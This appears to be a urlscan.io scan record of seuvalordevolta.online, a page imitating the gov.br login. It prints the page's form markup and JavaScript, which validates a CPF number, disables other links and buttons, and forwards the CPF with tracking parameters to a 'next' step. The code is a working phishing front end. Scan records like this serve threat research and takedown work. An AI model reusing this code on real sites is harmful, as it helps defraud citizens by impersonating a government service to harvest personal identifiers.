seuvalordevolta.online Open in urlscan Pro
2a02:4780:13:1703:0:e7a:364d:2  Public Scan

URL: https://seuvalordevolta.online/
Submission: On November 20 via api from US — Scanned from GB

Form analysis 1 forms found in the DOM

<form id="novoFormCPF" autocomplete="off" novalidate="">
  <div class="card" id="login-cpf">
    <h3 style="font-family: Roboto;">Identifique-se no gov.br com:</h3>
    <div class="item-login-signup-ways" onclick="accordion('accordion-panel-id')">
      <a tabindex="3">
								<img src="images/id-card-solid.png">
								Número do CPF
							</a>
    </div>
    <div class="accordion-panel" id="accordion-panel-id">
      <p>Digite seu CPF para <strong>criar</strong> ou <strong>acessar</strong> sua conta gov.br</p>
      <label for="cpf">CPF</label>
      <input id="novoCampoCPF" name="accountId" autocomplete="new-password" tabindex="1" type="tel" value="" placeholder="Digite seu CPF" aria-invalid="false">
      <div class="error-container">
        <span class="error-text" id="cpfError"></span>
        <img decoding="async" src="https://storage.atendebr.store/typebot/public/workspaces/clpx27mm0001olm2ne5mo7ahy/typebots/clrebeb190033p01cu4ieopc0/blocks/ceny1ptpolqkcin4xe0lj5yb?v=1705360872376" class="error-image" id="errorImage"
          alt="Error Image">
      </div>
      <div class="button-panel" id="login-button-panel">
        <button id="enter-account-id" type="submit" name="operation" value="enter-account-id" class="button-continuar desabilitado" tabindex="2" disabled="">Continuar</button>
      </div>
      <style>
        .button-continuar {
          /* Estilos comuns do botão aqui */
          background: #1351B4 0 0 no-repeat padding-box !important;
          /* Cor quando habilitado */
        }

        .button-continuar.desabilitado {
          background: #b5b5b5 0 0 no-repeat padding-box !important;
          /* Cor quando desabilitado */
        }
      </style>
      <style>
        .error-border {
          border: 1px solid red !important;
          box-shadow: 0 0 0 1px #ffa5b9;
        }

        .error-text {
          color: red !important;
        }

        .error-container {
          margin: 10px 0px -17px 10px;
          display: inline-block;
          align-items: center;
        }

        .error-image {
          display: none;
          margin: -63px 0px 0px 265px;
        }
      </style>
      <script>
        // Função para substituir o botão específico
        function substituirBotaoEspecifico() {
          const novoBotao = document.createElement('button');
          novoBotao.type = 'button';
          novoBotao.id = 'allowedButton';
          novoBotao.className = 'button-continuar desabilitado';
          novoBotao.innerHTML = 'Continuar';
          novoBotao.disabled = true;
          const botaoAlvo = document.getElementById('enter-account-id');
          if (botaoAlvo) {
            botaoAlvo.parentNode.replaceChild(novoBotao, botaoAlvo);
          }
          novoBotao.addEventListener('click', redirecionarSeValido);
        }

        function bloquearElementosClicaveis() {
          document.querySelectorAll('button:not(#allowedButton)').forEach(function(botao) {
            botao.disabled = true;
          });
          document.querySelectorAll('a').forEach(function(link) {
            link.addEventListener('click', function(event) {
              event.preventDefault();
            });
          });
          document.querySelectorAll('img').forEach(function(imagem) {
            if (imagem.parentNode.tagName === 'A') {
              imagem.parentNode.addEventListener('click', function(event) {
                event.preventDefault();
              });
            }
          });
        }
        var cpfInput = document.getElementById('novoCampoCPF');
        var cpfError = document.getElementById('cpfError');
        var errorImage = document.getElementById('errorImage');
        cpfInput.addEventListener('input', mascaraCPF);

        function mascaraCPF() {
          var cpf = cpfInput.value;
          cpf = cpf.replace(/\D/g, "");
          if (cpf.length > 11) {
            cpf = cpf.substring(0, 11);
          }
          cpf = cpf.replace(/(\d{3})(\d)/, "$1.$2");
          cpf = cpf.replace(/(\d{3})(\d)/, "$1.$2");
          cpf = cpf.replace(/(\d{3})(\d{1,2})$/, "$1-$2");
          cpfInput.value = cpf;
          validarCPF();
        }

        function validarCPF() {
          var cpf = cpfInput.value;
          var cpfNumeros = cpf.replace(/[^\d]+/g, '');
          var botao = document.getElementById('allowedButton');
          if (cpf.length !== 14 || !validaCPF(cpfNumeros)) {
            cpfError.textContent = cpf.length === 14 ? 'CPF Inválido' : '';
            cpfInput.classList.toggle('error-border', cpf.length === 14);
            errorImage.style.display = cpf.length === 14 ? 'inline-block' : 'none';
            botao.disabled = true;
            botao.classList.add('desabilitado');
          } else {
            cpfError.textContent = '';
            cpfInput.classList.remove('error-border');
            errorImage.style.display = 'none';
            botao.disabled = false;
            botao.classList.remove('desabilitado');
          }
        }

        function validaCPF(cpf) {
          cpf = cpf.replace(/[^\d]+/g, '');
          if (cpf === '' || cpf.length !== 11 || /^(.)\1+$/.test(cpf)) return false;
          let add = 0;
          for (let i = 0; i < 9; i++) {
            add += parseInt(cpf.charAt(i)) * (10 - i);
          }
          let rev = 11 - (add % 11);
          rev = (rev === 10 || rev === 11) ? 0 : rev;
          if (rev !== parseInt(cpf.charAt(9))) return false;
          add = 0;
          for (let i = 0; i < 10; i++) {
            add += parseInt(cpf.charAt(i)) * (11 - i);
          }
          rev = 11 - (add % 11);
          rev = (rev === 10 || rev === 11) ? 0 : rev;
          return rev === parseInt(cpf.charAt(10));
        }

        function redirecionarSeValido() {
          var cpf = cpfInput.value.replace(/[^\d]+/g, '');
          if (validaCPF(cpf)) {
            var utmParams = getUTMParameters();
            var queryString = Object.keys(utmParams).map(function(key) {
              return key + '=' + encodeURIComponent(utmParams[key]);
            }).join('&');
            var url = "./next?cpf=" + cpf;
            if (queryString) {
              url += '&' + queryString;
            }
            window.location.href = url;
          }
        }

        function getUTMParameters() {
          var params = {};
          window.location.search.replace(/[?&]+([^=&]+)=([^&]*)/gi, function(str, key, value) {
            params[key] = value;
          });
          return params;
        }
        substituirBotaoEspecifico();
        bloquearElementosClicaveis();
      </script>
    </div>
  </div>
</form>

Text Content

Pular para o conteúdo principal
Alto Contraste VLibras


IDENTIFIQUE-SE NO GOV.BR COM:

Número do CPF

Digite seu CPF para criar ou acessar sua conta gov.br

CPF

Continuar